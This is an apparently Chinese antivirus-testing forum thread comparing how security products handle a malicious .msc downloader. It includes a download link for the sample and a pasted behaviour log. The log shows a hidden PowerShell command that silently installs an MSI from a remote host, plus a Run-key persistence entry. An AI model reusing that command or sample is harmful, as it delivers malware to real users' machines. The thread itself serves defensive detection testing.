msc格式的下载器，你的杀软能杀吗

sanhu35

孤勇者 发表于 2024-6-8 11:09
智量kill，机学就是厉害

这报的行为，跟学机没啥关系


冰盾

QAZWSXEDC2023

分流https://wormhole.app/2EXMQ#w0c0OvzxigIgdfc17r8fgQ

lanjian625

小红伞专业版miss

觉醒者

anthonyqian 发表于 2024-6-8 11:21
ESET

XML/TrojanDownloader.Agent.X

我这ESET咋扫描都没反应

UNknownOoo

火绒（6.7库
运行：MISS

1. 防护项目：隐藏执行PowerShell
   
2. 执行文件：C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
   
3. 执行命令行："C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden ($hwp=new-object -comobject 'WindowsInstaller.Installer');($hwp.uilevel = 2);($hwp.installproduct('https://epsross.com/lvowtwq','REMOVE=ALL'));($hwp.installproduct('https://epsross.com/lvowtwq'))
   
4. 操作结果：已允许
   
5. 进程ID：4860
   
6. 操作进程：C:\Windows\System32\mmc.exe
   
7. 操作进程命令行："C:\Windows\system32\mmc.exe" "C:\Users\Administrator\Desktop\meeting invitation.msc"
   
8. 父进程ID：5748
   
9. 父进程：C:\Windows\explorer.exe
   
10. 父进程命令行：C:\Windows\Explorer.EXE

复制代码

1. 防护项目：启动项
   
2. 操作类型：修改
   
3. 数据内容："C:\Users\Administrator\AppData\Roaming\SecurityScan\inkform.exe" 452
   
4. 目标注册表：HKEY_USERS\S-1-5-21-2555528855-4037978411-3127993368-500\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\inkform Update
   
5. 操作结果：已允许
   
6. 进程ID：10604
   
7. 操作进程：C:\Users\Administrator\AppData\Local\nwpxjfzj\inkform.exe
   
8. 操作进程命令行：C:\Users\Administrator\AppData\Local\nwpxjfzj\inkform.exe
   
9. 父进程ID：4416
   
10. 父进程：C:\Windows\System32\msiexec.exe
    
11. 父进程命令行：C:\Windows\system32\msiexec.exe /V

复制代码

wwwab

sanhu35 发表于 2024-6-8 20:44
这报的行为，跟学机没啥关系

为什么操作进程是cmd.exe而不是mmc.exe？

Jirehlov1234

UNknownOoo 发表于 2024-6-9 04:32
火绒（6.7库
运行：MISS

@火绒工程师 你们想办法把XML下载器和payload都通杀了

inhh1

AhnLab

sanhu35

wwwab 发表于 2024-6-9 12:38
为什么操作进程是cmd.exe而不是mmc.exe？

因为我手打的，添加这段行为，MMC一样报

yaokai815

360 瑞星均kill